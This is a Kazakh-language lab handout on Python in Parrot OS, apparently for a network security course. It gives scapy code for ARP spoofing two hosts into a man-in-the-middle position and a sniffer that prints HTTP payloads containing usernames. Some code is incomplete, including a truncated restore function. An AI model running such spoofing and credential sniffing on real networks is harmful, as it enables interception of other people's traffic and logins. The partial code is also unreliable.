

Зертханалық сабақ №7

Тақырыбы: Parrot OS жүйесіндегі Python

- 1) Restore функциясымен жұмыс;
- 2) Мәліметтерді DNS деңгейінде өзгерту;

```
arp_spoof.py
arp_spoof.py
4 import scapy.all as scapy
5 import time
6 import sys
7
8 def get_mac(ip):...
14
15
16 def spoof(target_ip, spoof_ip):
17     target_mac = get_mac(target_ip)
18     packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
19     scapy.send(packet, verbose=False)
20
21
22 def restore(destination_ip, source_ip):
23     packet = scapy.ARP
24
25
26 try:
27     packets_sent_count = 0
28     while True:
29         spoof("10.0.2.7", "10.0.2.1")
30         spoof("10.0.2.1", "10.0.2.7")
31         packets_sent_count = packets_sent_count + 2
32         print("\r[+] Sent " + str(packets_sent_count)),
33         sys.stdout.flush()
```

```
packet_sniffer.py
1 #!/usr/bin/env python
2 import scapy.all as scapy
3
4 def sniff(interface):
5     scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet, filter="port 80")
6
7 def process_sniffed_packet(packet):
8     print(packet)
9
10 sniff("eth0")
```

```
packet_sniffer.py
1 #!/usr/bin/env python
2 import scapy.all as scapy
3 from scapy.layers import http
4
5 def sniff(interface):
6     scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
7
8 def process_sniffed_packet(packet):
9     if packet.haslayer(http.HTTPRequest):
10         if packet.haslayer(scapy.Raw):
11             load = packet[scapy.Raw].load
12             keywords = ["|"]
13             if "username" in load:
14                 print(load)
15
16 sniff("eth0")
```

Өзіндік жұмыс

- 1) ӨЗІНДІК тапсырма ұйымдастырыңыз.